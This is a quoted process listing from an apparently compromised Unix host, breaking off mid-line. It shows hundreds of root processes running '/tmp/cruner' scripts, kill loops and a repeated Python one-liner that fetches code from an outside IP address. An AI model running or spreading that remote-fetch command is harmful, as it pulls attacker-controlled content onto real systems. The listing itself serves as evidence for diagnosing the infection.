<defunct> > root 21695 23147 0 15:45:42 ? 0:00 bash -sh > root 14811 14776 0 - ? 0:00 <defunct> > root 11160 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21943 9088 0 15:44:53 ? 0:00 bash -sh > root 10067 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 16006 15848 0 15:43:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13407 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11352 1042 0 15:45:59 ? 0:00 bash -sh > root 22668 23945 0 15:45:13 ? 0:00 sleep 60 > root 5860 4288 0 15:45:49 ? 0:00 bash -sh > root 1415 17432 0 15:46:02 ? 0:00 bash -sh > root 12077 12050 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17641 19907 0 15:45:29 ? 0:00 bash -sh > root 24646 26984 0 15:46:05 ? 0:00 sleep 60 > root 20470 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5848 681 0 15:46:06 ? 0:00 sleep 60 > root 19397 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 12471 14113 0 15:45:16 ? 0:00 bash -sh > root 19094 17826 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2163 377 0 15:45:48 ? 0:00 bash -sh > root 13582 13580 0 15:44:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19167 3375 0 - ? 0:00 <defunct> > root 23728 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17927 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25815 22374 0 15:45:13 ? 0:00 bash -sh > root 15988 21351 0 15:46:00 ? 0:00 bash -sh > root 27857 13934 0 15:43:41 ? 0:00 bash -sh > root 26401 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17303 16377 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2259 2924 0 15:45:39 ? 0:00 bash -sh > root 5670 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21655 8542 0 - ? 0:00 <defunct> > root 12508 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4251 3128 0 - ? 0:00 <defunct> > root 16952 14030 0 15:43:33 ? 0:00 bash -sh > root 26487 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19768 23566 0 - ? 0:00 <defunct> > root 29643 7010 0 15:46:02 ? 0:00 bash -sh > root 16762 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13622 24500 0 15:45:37 ? 0:00 bash -sh > root 4391 412 0 15:44:42 ? 0:00 bash -sh > root 25182 10633 0 15:46:01 ? 0:00 bash -sh > root 1060 29449 0 15:45:48 ? 0:00 sleep 60 > root 20506 8998 0 15:45:38 ? 0:00 bash -sh > root 22165 24759 0 15:45:42 ? 0:00 bash -sh > root 5318 14077 0 15:46:06 ? 0:00 sleep 60 > root 23973 28687 0 15:46:10 ? 0:00 xargs kill -9 > root 6404 6396 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27322 12622 0 15:46:02 ? 0:00 sleep 60 > root 8821 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27479 2827 0 15:45:18 ? 0:00 sleep 60 > root 17614 12273 0 15:44:06 ? 0:00 bash -sh > root 16744 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2353 21692 0 15:46:11 ? 0:00 sleep 60 > root 29488 7466 0 - ? 0:00 <defunct> > root 24933 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 6011 16351 0 - ? 0:00 <defunct> > root 19400 19166 0 15:44:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27208 12974 0 15:45:57 ? 0:00 sleep 60 > root 27663 13998 0 15:45:18 ? 0:00 sleep 60 > root 12905 12858 0 - ? 0:00 <defunct> > root 5751 7446 0 15:46:06 ? 0:00 sleep 60 > root 12887 5861 0 15:45:41 ? 0:00 sleep 60 > root 12007 29265 0 15:46:13 ? 0:00 sh /var/tmp/cruner > root 20302 22461 0 15:45:46 ? 0:00 xargs kill -9 > root 14139 25720 0 15:46:08 ? 0:00 bash -sh > root 11956 25386 0 15:46:07 ? 0:00 sleep 60 > root 27361 28126 0 15:46:02 ? 0:00 bash -sh > root 4719 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1939 13905 0 15:45:27 ? 0:00 sleep 60 > root 3734 20303 0 - ? 0:00 <defunct> > root 15804 15025 0 15:46:00 ? 0:00 bash -sh > root 17434 17433 0 15:44:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8926 23629 0 - ? 0:00 <defunct> > root 10212 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6491 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28339 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22261 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3952 14043 0 15:44:50 ? 0:00 bash -sh > root 8502 15304 0 15:43:43 ? 0:00 bash -sh > root 25228 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12835 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 14736 23777 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 12523 9682 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 8245 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4309 3672 0 - ? 0:00 <defunct> > root 20239 28767 0 15:44:18 ? 0:00 bash -sh > root 12629 28382 0 15:45:59 ? 0:00 xargs kill -9 > root 25348 4744 0 - ? 0:00 <defunct> > root 2629 22448 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18415 9213 0 - ? 0:00 <defunct> > root 9921 9036 0 15:45:50 ? 0:00 sleep 60 > root 12041 1700 0 15:45:36 ? 0:00 sleep 60 > root 1299 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13141 21708 0 15:44:30 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20992 15403 0 15:45:22 ? 0:00 bash -sh > root 2631 2626 0 15:44:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 912 10599 0 15:45:08 ? 0:00 bash -sh > root 27038 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14104 15486 0 15:43:56 ? 0:00 bash -sh > root 13226 21391 0 - ? 0:00 <defunct> > root 29847 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10380 23053 0 - ? 0:00 <defunct> > root 23790 1 0 02:15:59 ? 0:00 sh /var/tmp/cruner > root 29391 14593 0 15:45:57 ? 0:00 xargs kill -9 > root 17236 17374 0 - ? 0:00 <defunct> > root 15067 7447 0 15:45:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10154 19244 0 15:45:41 ? 0:00 bash -sh > root 10940 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4231 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8352 18127 0 15:46:12 ? 0:00 bash -sh > root 11863 14822 0 - ? 0:00 <defunct> > root 18116 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8965 14802 0 15:43:51 ? 0:00 bash -sh > root 15413 21906 0 15:45:37 ? 0:00 sleep 60 > root 4969 23614 0 - ? 0:00 <defunct> > root 5546 15596 0 15:45:28 ? 0:00 sleep 60 > root 26924 21698 0 15:45:47 ? 0:00 sleep 60 > root 499 22253 0 15:45:48 ? 0:00 sleep 60 > root 18099 16616 0 - ? 0:00 <defunct> > root 16861 29498 0 15:44:17 ? 0:00 bash -sh > root 11000 10639 0 - ? 0:00 <defunct> > root 8478 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4290 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2635 29298 0 - ? 0:00 <defunct> > root 20560 18398 0 15:46:09 ? 0:00 sh /var/tmp/cruner > root 18577 11706 0 15:46:09 ? 0:00 sleep 60 > root 7012 15440 0 - ? 0:00 <defunct> > root 17346 16470 0 15:45:37 ? 0:00 bash -sh > root 8944 7451 0 15:44:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19008 18620 0 15:46:09 ? 0:00 bash -sh > root 23091 1063 0 15:44:36 ? 0:00 bash -sh > root 26433 7533 0 - ? 0:00 <defunct> > root 20395 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10471 11647 0 15:46:12 ? 0:00 bash -sh > root 16638 20478 0 - ? 0:00 <defunct> > root 8413 8411 0 15:44:24 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11559 272 0 - ? 0:00 <defunct> > root 10749 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7485 1188 0 15:45:49 ? 0:00 sleep 60 > root 18796 15327 0 - ? 0:00 <defunct> > root 4724 6254 0 - ? 0:00 <defunct> > root 11787 27928 0 - ? 0:00 <defunct> > root 8425 29826 0 15:46:07 ? 0:00 sleep 60 > root 4771 1841 0 15:43:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1009 8370 0 15:45:58 ? 0:00 sleep 60 > root 6082 5254 0 15:43:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4696 26181 0 15:45:58 ? 0:00 sleep 60 > root 8278 3447 0 15:44:24 ? 0:00 bash -sh > root 16143 5652 0 15:46:08 ? 0:00 bash -sh > root 26304 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13952 13950 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28482 11116 0 15:46:11 ? 0:00 awk {print $7} > root 8756 15840 0 - ? 0:00 <defunct> > root 25226 10137 0 15:46:01 ? 0:00 bash -sh > root 10330 6781 0 - ? 0:00 <defunct> > root 18289 20396 0 - ? 0:00 <defunct> > root 12662 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7068 27240 0 - ? 0:00 <defunct> > root 19897 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3516 925 0 15:45:48 ? 0:00 bash -sh > root 15470 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9607 266 0 15:45:59 ? 0:00 bash -sh > root 26695 8 0 15:45:18 ? 0:00 sleep 60 > root 25031 13191 0 - ? 0:00 <defunct> > root 3837 26124 0 15:46:06 ? 0:00 sleep 60 > root 13803 21548 0 - ? 0:00 <defunct> > root 8621 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3129 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28598 149 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 17577 8017 0 - ? 0:00 <defunct> > root 14189 16123 0 - ? 0:00 <defunct> > root 27890 10177 0 15:45:18 ? 0:00 sleep 60 > root 7890 3210 0 15:44:51 ? 0:00 bash -sh > root 6898 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28660 8649 0 15:45:34 ? 0:00 sleep 60 > root 9305 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19363 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 4628 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10069 2411 0 15:46:03 ? 0:00 xargs kill -9 > root 4563 29621 0 15:46:06 ? 0:00 bash -sh > root 12263 10281 0 15:43:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1547 11492 0 15:46:02 ? 0:00 bash -sh > root 3311 16371 0 15:45:19 ? 0:00 sleep 60 > root 17874 19388 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 10684 393 0 15:45:55 ? 0:00 bash -sh > root 15946 7847 0 15:45:26 ? 0:00 sh /tmp/cruner > root 28115 28107 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25161 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18713 22081 0 - ? 0:00 <defunct> > root 11145 6944 0 15:45:59 ? 0:00 bash -sh > root 13119 1898 0 - ? 0:00 <defunct> > root 21103 24683 0 15:43:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10006 11613 0 15:44:47 ? 0:00 bash -sh > root 25604 19517 0 15:45:13 ? 0:00 sleep 60 > root 10659 19946 0 - ? 0:00 <defunct> > root 18684 4631 0 - ? 0:00 <defunct> > root 10158 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 446 27674 0 15:44:11 ? 0:00 bash -sh > root 23203 23754 0 15:45:47 ? 0:00 bash -sh > root 12463 7279 0 - ? 0:00 <defunct> > root 928 14182 0 15:46:06 ? 0:00 sleep 60 > root 27888 1 0 01:03:55 ? 0:01 sh /var/tmp/cruner > root 25033 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12552 8049 0 - ? 0:00 <defunct> > root 1949 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1221 8332 0 15:45:39 ? 0:00 bash -sh > root 8259 6156 0 15:45:49 ? 0:00 sh /var/tmp/cruner > root 6416 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 9238 15019 0 15:46:12 ? 0:00 bash -sh > root 29148 23494 0 - ? 0:00 <defunct> > root 8626 23740 0 - ? 0:00 <defunct> > root 23028 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22531 25794 0 - ? 0:00 <defunct> > root 5958 1 0 20:26:32 ? 0:00 sh /var/tmp/cruner > root 21554 8669 0 - ? 0:00 <defunct> > root 28650 12885 0 15:45:34 ? 0:00 sleep 60 > root 26760 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14309 23393 0 - ? 0:00 <defunct> > root 2667 14740 0 15:45:24 ? 0:00 sleep 60 > root 16481 8731 0 - ? 0:00 <defunct> > root 23473 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 52 27654 0 15:46:11 ? 0:00 grep :5555 > root 1852 8609 0 15:45:48 ? 0:00 sleep 60 > root 12777 23771 0 15:46:08 ? 0:00 sleep 60 > root 5290 1624 0 - ? 0:00 <defunct> > root 4793 4393 0 15:43:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 151 21135 0 15:44:59 ? 0:00 xargs kill -9 > root 5785 19550 0 15:46:12 ? 0:00 bash -sh > root 6175 27666 0 - ? 0:00 <defunct> > root 6226 4861 0 15:45:49 ? 0:00 sh /tmp/cruner > root 14957 4219 0 - ? 0:00 <defunct> > root 13263 13234 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11436 10077 0 15:43:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6352 20364 0 15:46:03 ? 0:00 bash -sh > root 18806 9246 0 - ? 0:00 <defunct> > root 13579 25971 0 15:44:16 ? 0:00 bash -sh > root 9601 19178 0 15:45:59 ? 0:00 /bin/ksh -p /bin/kill -9 > root 12955 12900 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16770 28178 0 15:45:42 ? 0:00 bash -sh > root 7006 9043 0 15:45:09 ? 0:00 bash -sh > root 27393 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20066 9137 0 15:44:53 ? 0:00 bash -sh > root 10991 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25507 29039 0 - ? 0:00 <defunct> > root 13970 13790 0 15:45:29 ? 0:00 sleep 60 > root 14775 15175 0 - ? 0:00 <defunct> > root 28685 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24744 23500 0 15:45:57 ? 0:00 /bin/ksh -p /bin/kill -9 > root 25338 10029 0 15:45:07 ? 0:00 bash -sh > root 16697 28295 0 15:45:22 ? 0:00 sleep 60 > root 145 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25010 22540 0 - ? 0:00 <defunct> > root 13600 13596 0 - ? 0:00 <defunct> > root 9116 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8650 19866 0 15:45:45 ? 0:00 bash -sh > root 7771 1592 0 - ? 0:00 <defunct> > root 24307 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2165 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14914 14835 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19078 22058 0 15:45:42 ? 0:00 sleep 60 > root 1310 787 0 15:43:41 ? 0:00 bash -sh > root 5387 24567 0 15:45:28 ? 0:00 sleep 60 > root 21192 5745 0 15:45:42 ? 0:00 sleep 60 > root 4962 13543 0 15:45:31 ? 0:00 sleep 60 > root 5549 5545 0 15:43:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22818 1730 0 15:46:09 ? 0:00 bash -sh > root 15411 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3826 6008 0 15:45:19 ? 0:00 sleep 60 > root 1179 24779 0 - ? 0:00 <defunct> > root 19738 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9324 15646 0 - ? 0:00 <defunct> > root 17564 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28156 27865 0 - ? 0:00 <defunct> > root 2187 22981 0 15:45:48 ? 0:00 bash -sh > root 27095 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7970 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2554 28697 0 15:46:11 ? 0:00 sleep 60 > root 22783 22782 0 15:45:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2645 6926 0 - ? 0:00 <defunct> > root 3808 2060 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8761 4229 0 - ? 0:00 <defunct> > root 8942 8176 0 15:46:12 ? 0:00 /bin/ksh -p /bin/kill -9 > root 24964 14231 0 15:46:05 ? 0:00 sleep 60 > root 14974 21102 0 - ? 0:00 <defunct> > root 10519 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18802 2215 0 - ? 0:00 <defunct> > root 2261 1125 0 15:45:19 ? 0:00 sleep 60 > root 12944 13941 0 15:46:13 ? 0:00 bash -sh > root 20829 23991 0 15:45:42 ? 0:00 sleep 60 > root 28289 5565 0 15:44:59 ? 0:00 bash -sh > root 556 7533 0 - ? 0:00 <defunct> > root 7060 21048 0 15:45:58 ? 0:00 xargs kill -9 > root 21048 14868 0 15:45:52 ? 0:00 bash -sh > root 20719 24129 0 - ? 0:00 <defunct> > root 26728 26690 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22302 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4872 1129 0 - ? 0:00 <defunct> > root 60 7440 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28823 21605 0 15:45:43 ? 0:00 sleep 60 > root 5936 17818 0 15:43:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20827 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 22657 18410 0 15:45:02 ? 0:00 bash -sh > root 23723 11987 0 15:43:57 ? 0:00 bash -sh > root 7946 27696 0 15:44:51 ? 0:00 xargs kill -9 > root 16621 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10271 12055 0 15:44:47 ? 0:00 bash -sh > root 13793 7277 0 15:46:13 ? 0:00 sleep 60 > root 6642 15123 0 15:45:58 ? 0:00 sleep 60 > root 7833 19055 0 15:45:25 ? 0:00 sleep 60 > root 20407 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13455 14397 0 15:46:08 ? 0:00 sleep 60 > root 3515 2816 0 15:45:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8749 8447 0 15:45:45 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29493 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21549 21534 0 15:44:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25668 1316 0 15:44:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 741 6999 0 15:45:08 ? 0:00 bash -sh > root 10860 13489 0 15:45:50 ? 0:00 bash -sh > root 27390 18190 0 15:44:32 ? 0:00 bash -sh > root 22360 9951 0 15:44:40 ? 0:00 bash -sh > root 602 13390 0 15:45:18 ? 0:00 bash -sh > root 23555 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22950 3253 0 15:46:01 ? 0:00 bash -sh > root 12969 2991 0 - ? 0:00 <defunct> > root 3397 28322 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 18945 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3375 20018 0 15:45:48 ? 0:00 bash -sh > root 23523 20106 0 - ? 0:00 <defunct> > root 11314 1 0 17:01:00 ? 0:01 sh /var/tmp/cruner > root 12151 14056 0 - ? 0:00 <defunct> > root 2139 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4582 5002 0 - ? 0:00 <defunct> > root 9307 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23239 10691 0 15:45:57 ? 0:00 sleep 60 > root 29399 10605 0 15:45:44 ? 0:00 bash -sh > root 28237 13307 0 15:45:47 ? 0:00 xargs kill -9 > root 11466 25777 0 15:45:25 ? 0:00 sleep 60 > root 22951 5106 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 26391 26382 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8844 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5669 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25178 29168 0 - ? 0:00 <defunct> > root 29422 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1107 13192 0 15:43:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2562 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1468 28260 0 15:46:06 ? 0:00 bash -sh > root 20251 96 0 15:45:12 ? 0:00 bash -sh > root 19796 14692 0 - ? 0:00 <defunct> > root 6465 26627 0 - ? 0:00 <defunct> > root 2689 14887 0 - ? 0:00 <defunct> > root 24297 15226 0 15:45:17 ? 0:00 sleep 60 > root 21217 22003 0 15:45:46 ? 0:00 bash -sh > root 9674 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29246 5757 0 15:46:02 ? 0:00 bash -sh > root 20409 3980 0 - ? 0:00 <defunct> > root 9691 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23355 27559 0 15:44:58 ? 0:00 bash -sh > root 27978 25038 0 15:45:57 ? 0:00 sleep 60 > root 4617 16965 0 - ? 0:00 <defunct> > root 8819 23060 0 15:45:54 ? 0:00 sleep 60 > root 29895 29891 0 15:45:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3203 3176 0 - ? 0:00 <defunct> > root 25352 9151 0 - ? 0:00 <defunct> > root 8117 2096 0 - ? 0:00 <defunct> > root 5930 5928 0 15:44:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15903 15884 0 15:43:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3891 11812 0 15:45:19 ? 0:00 bash -sh > root 13231 22179 0 15:46:08 ? 0:00 sleep 60 > root 13055 13038 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19530 15380 0 15:43:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8187 29920 0 15:43:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6912 13537 0 15:44:42 ? 0:00 bash -sh > root 22547 13808 0 15:43:46 ? 0:00 bash -sh > root 28880 20106 0 - ? 0:00 <defunct> > root 15931 19528 0 15:43:21 ? 0:00 bash -sh > root 29651 26959 0 - ? 0:00 <defunct> > root 13005 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29951 16403 0 15:43:07 ? 0:00 bash -sh > root 8740 29482 0 15:45:45 ? 0:00 bash -sh > root 18988 25501 0 15:45:56 ? 0:00 xargs kill -9 > root 12723 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11916 25347 0 15:46:13 ? 0:00 sh /tmp/cruner > root 22173 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15478 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14312 27475 0 15:45:25 ? 0:00 xargs kill -9 > root 9309 19849 0 - ? 0:00 <defunct> > root 26601 26587 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21252 1 0 Oct 06 ? 0:02 sh /var/tmp/cruner > root 25639 19802 0 - ? 0:00 <defunct> > root 2814 12121 0 15:42:52 ? 0:00 bash -sh > root 28976 10634 0 15:46:02 ? 0:00 sleep 60 > root 13577 28198 0 15:44:16 ? 0:00 bash -sh > root 4212 6266 0 15:44:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10204 15105 0 - ? 0:00 <defunct> > root 1583 28040 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 22245 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4006 13882 0 15:46:06 ? 0:00 sleep 60 > root 23324 12669 0 - ? 0:00 <defunct> > root 26706 26686 0 15:45:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20524 23633 0 - ? 0:00 <defunct> > root 22707 20396 0 - ? 0:00 <defunct> > root 9770 29303 0 15:46:12 ? 0:00 bash -sh > root 10758 3501 0 15:44:30 ? 0:00 bash -sh > root 13857 8957 0 15:45:29 ? 0:00 sleep 60 > root 12612 20820 0 15:45:50 ? 0:00 bash -sh > root 17232 6702 0 15:46:08 ? 0:00 sleep 60 > root 17809 22407 0 15:45:42 ? 0:00 /bin/ksh -p /bin/kill -9 > root 675 29039 0 - ? 0:00 <defunct> > root 29828 3936 0 15:45:48 ? 0:00 sh /tmp/cruner > root 27489 4847 0 15:45:18 ? 0:00 sleep 60 > root 23160 22009 0 15:45:47 ? 0:00 bash -sh > root 29494 29974 0 15:44:10 ? 0:00 bash -sh > root 2359 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1019 9684 0 15:45:48 ? 0:00 sleep 60 > root 21942 20562 0 15:45:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4449 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6467 557 0 15:45:58 ? 0:00 bash -sh > root 10226 15863 0 - ? 0:00 <defunct> > root 22331 4422 0 15:45:52 ? 0:00 bash -sh > root 21462 6865 0 15:45:17 ? 0:00 bash -sh > root 14164 23255 0 - ? 0:00 <defunct> > root 23015 20003 0 15:46:05 ? 0:00 sleep 60 > root 1635 7819 0 15:46:06 ? 0:00 bash -sh > root 12874 12813 0 15:46:13 ? 0:00 /bin/ksh -p /bin/kill -9 > root 20969 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22407 1274 0 15:45:38 ? 0:00 xargs kill -9 > root 2866 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 2855 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2750 12466 0 15:45:48 ? 0:00 sleep 60 > root 25884 29485 0 - ? 0:00 <defunct> > root 1809 16464 0 15:43:30 ? 0:00 bash -sh > root 14647 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17510 8467 0 15:45:51 ? 0:00 sleep 60 > root 18906 13321 0 15:43:56 ? 0:00 bash -sh > root 5509 27936 0 15:46:06 ? 0:00 bash -sh > root 23537 5432 0 15:44:54 ? 0:00 bash -sh > root 3965 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28244 7306 0 15:44:41 ? 0:00 bash -sh > root 14415 16501 0 15:45:21 ? 0:00 bash -sh > root 29686 17572 0 15:46:11 ? 0:00 xargs kill -9 > root 2213 27311 0 - ? 0:00 <defunct> > root 11301 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7782 14571 0 15:45:49 ? 0:00 bash -sh > root 4073 24667 0 15:45:24 ? 0:00 bash -sh > root 22982 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 19819 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19703 4535 0 15:45:22 ? 0:00 bash -sh > root 1814 22590 0 15:45:48 ? 0:00 sleep 60 > root 195 859 0 15:46:06 ? 0:00 bash -sh > root 6445 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12722 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5215 1 0 Oct 05 ? 0:01 sh 